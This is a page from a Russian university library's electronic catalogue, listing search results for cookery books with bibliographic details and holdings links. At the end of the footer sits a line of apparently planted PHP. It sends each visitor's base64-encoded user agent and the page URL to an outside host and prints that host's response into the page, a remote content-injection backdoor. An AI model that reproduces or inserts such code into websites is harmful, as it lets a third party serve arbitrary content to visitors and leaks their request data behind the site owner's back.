Перейти на сайт
библиотеки ОмГТУ
Share |
ПОИСК ПО ЭЛЕКТРОННОМУ КАТАЛОГУ
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация
 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

259 пользователей
 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=Кулинария")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 269
21. 
Заготовки впрок [Текст] : домашнее консервирование / сост. Ю. Воронов, 1993. - 189 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
22. 
Захарова, Наталья Владимировна. Искусство китайской кулинарии [Текст] / Н. В. Захарова, 1992. - 46, [1] с.
Держатели документа (Информация об экземплярах) 
23. 
Ковалев, Николай Иванович. Кулинария для всех [Текст] : подарок молодой хозяйке / Н. И. Ковалев, В. В. Усов, 1992. - 247, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
24. 
Кощеев, Александр Аркадьевич. Напитки из дикорастущих плодов и ягод [Текст] / А. А. Кощеев, 1991. - 63, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
25. 
Ковалев, Вячеслав Михайлович. Русская кухня: традиции и обычаи [Текст] / В. М. Ковалев, Н. П. Могильный, 1990. - 254, [1] с.
Держатели документа (Информация об экземплярах) 
26. 
Клявиня, Айна Мартыновна. Обед на каждый день [Текст] / А. М. Клявиня ; пер. с латыш. С. Клявиньша, 1990. - 334, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
27. 
Захарова, Тамара Ивановна. Блюда из птицы [Текст] / Т. И. Захарова, 1991. - 110, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
28. 
Головков, Анатолий Эммануилович. Разносолы деревенской кухни [Текст] / А. Э. Головков, 1992. - 239, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
29. 
Домашний калейдоскоп [Текст] : о том, о сем, 1993. - 127, [1] с.
Держатели документа (Информация об экземплярах) 
30. 
Рубальская, Лариса Алексеевна. Кулинарная стихия, или стихийная кулинария [Текст] / Лариса Рубальская, 2005. - 382, [1] с.
Держатели документа (Информация об экземплярах) 
31. 
Некрутман, Самуил Вениаминович. Сверхбыстрая кулинария, или СВЧ-печь в вашем доме [Текст] / С. В. Некрутман, 1988. - 111 с.
Держатели документа (Информация об экземплярах) 
32. 
Похлебкин, Вильям Васильевич. Национальные кухни наших народов [Текст] / В. В. Похлебкин, 2001. - 638, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
33. 
Маслов, Леонид Александрович. Кулинария [Текст] : Учеб. / Л. А. Маслов, 1957. - 295 с.
Держатели документа (Информация об экземплярах) 
34. 
Абатуров, Павел Васильевич. Сладкие блюда. Напитки [Текст] / П. В. Абатуров, Н. П. Цыпленков, 1958. - 136 с.
Держатели документа (Информация об экземплярах) 
35. 
Ковалев, Николай Иванович. Технология приготовления пищи [Текст] : Учеб. для сред. спец. учеб. заведений по специальностям 2711 "Технология продуктов общественного питания" и 2311 "Организация обслуживания на предприятиях общественного питания" / Н. И. Ковалев, М. Н. Куткина, В. А. Кравцова; Под ред. М. А. Николаевой, 2003. - 467 с.

Учебник полностью соответствует государственным образовательным стандартам. В нем рассматриваются теоретические основы производства продукции <предприятий> <общественного> <питания>, основные способы и приемы <обработки> <сырья> и <полуфабрикатов>, технология приготовления блюд из мяса, птицы и рыбы, кондитерских изделий и напитков. Особое внимание обращается на требования, предъявляемые к качеству продукции общественного питания, оформлению ее при подаче к столу.

36. 
Егоров, Николай Михайлович. Грибное лукошко [Текст], 1993. - 302, [1] с.
Оглавление 
  • Массо, Сальме Оскарович. Блюда из грибов / С. О. Массо
Держатели документа (Информация об экземплярах) 
37. 
Салихов Ш. Г. Блюда узбекской кухни [Текст] : Альбом / Ш. Г. Салихов, 1991. - 72, [1] с.
38. 
Браиловская, Людмила Викторовна. Вечеринки для взрослых "Под знаком зодиака". [Текст] / Л. В. Браиловская, 2003. - 284, [3] с.
39. 
Ловись, рыбка [Текст], 1994. - 278, [1] с.
Держатели документа (Информация об экземплярах) 
40. 
Кенгис, Роберт Петрович. Изделия из теста [Текст] / Р. П. Кенгис, 1958. - 192 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

 [ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2871 - 20.04.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.74 с.12 запросов, 0.44c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;